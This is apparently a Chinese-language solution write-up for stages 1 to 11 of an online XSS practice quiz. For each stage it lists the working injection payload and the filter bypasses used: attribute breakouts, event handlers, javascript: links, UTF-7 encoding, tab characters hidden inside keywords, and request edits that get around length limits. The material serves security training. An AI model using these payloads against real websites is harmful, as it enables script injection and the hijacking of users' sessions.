概述：
https://xss-quiz.int21h.jp/
Stage #1
payload： <script>alert(document.domain);</script>
Stage #2
http://xss-quiz.int21h.jp/stage2.php?sid=e93e71eed43c3ab5668af6a5aa603cf66eedce70
尝试： <script>alert(document.domain);</script> 未果
input 没有闭合
payload： "><svg onload=alert(document.domain)>
Stage #3
http://xss-quiz.int21h.jp/stage-3.php?sid=d362dd49b96c30f3e9a4a6ea0abafb0cef59ed2d
备注：这里因为都是post请求，p1 变量是不存在跨站的，p2变量才存在问题，因此需要抓包
;javascript:alert(document.domain);//
p2=<script>alert(document.domain);</script>
Stage #4
http://xss-quiz.int21h.jp/stage_4.php?sid=d47663090ecc0b8d55ae73ee3753ead52c63103e
p3 为隐藏的属性，使用inspector删除掉text=hidden
payload："><svg onload=alert(document.domain)>;
Stage #5
http://xss-quiz.int21h.jp/stage–5.php?sid=e9dd07b6e86c5314a2e574e887faa9482de330bf
通过尝试发现，闭合即可
<input type="text" name="p1" maxlength="15" size="30" value="hack404">
但是由于前端对字符数量做了限制，因此抓包修改绕过
Stage #6
http://xss-quiz.int21h.jp/stage-no6.php?sid=b76ebfa651652f2c22f8ddbe264941287667706c
问题点：对< > 做了转移，利用事件进行绕过
<input type="text" name="p1" size="50" value="" onmouseover=alert(document.domain);//">
payload：
" onmouseover=alert(document.domain);//
123" onmouseover="alert(document.domain);
<input type="text" name="p1" size="50" value="123" onmouseover="alert(document.domain);">
Stage #7
http://xss-quiz.int21h.jp/stage07.php?sid=f433ab35e367d5a94100aa4e0f694c3e63d67105
<input type="text" name="p1" size="50" value=<script>alert(document.domain);</script>>
<input type="text" name="p1" size="50" value=;onmouseover=alert(document.domain);//>
对< > " ‘ 都已近做了转义
payload： view plaincopyprint onmousemove=alert(document.domain)
Stage #8
http://xss-quiz.int21h.jp/stage008.php?sid=4301b185b563c91208e0af232d7f016885e863e0
a 标签，插入，点击即可触发
<a href="javascript:alert(document.domain);">javascript:alert(document.domain);</a>
Stage #9
http://xss-quiz.int21h.jp/stage_09.php?sid=558484a712d793c446e3dc409601eaf126e73d25
此问题，目前的浏览器已经不支持，因为它依赖于对UTF-7的支持
Solution:+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg-&charset=euc-jp
Stage #10
http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276
<input type="text" name="p1" size="50" value=""><svg onload=alert(document.)>">
看来是长字符限制了，我们尝试短的字符数尝试下
payload: " onmouseover=alert(document.domdomainain); x="
<input type="text" name="p1" size="50" value="" onmouseover=alert(document.domain); x="">
Stage #11
http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3
这里主要是针对关键字，进行了混淆
"><a href="javascript:alert(document.domain);">hack404</a>
<input type="text" name="p1" size="50" value=""><a href="javaxscript:alert(document.domain);">hack404</a>">
这里我们使用特殊字符进行绕过：
	 %09 Horizontal tab
"><a href="javascr	ipt:alert(document.domain);">hack404</a>
<a href="javascr	ipt:alert(document.domain);">hack404</a>">
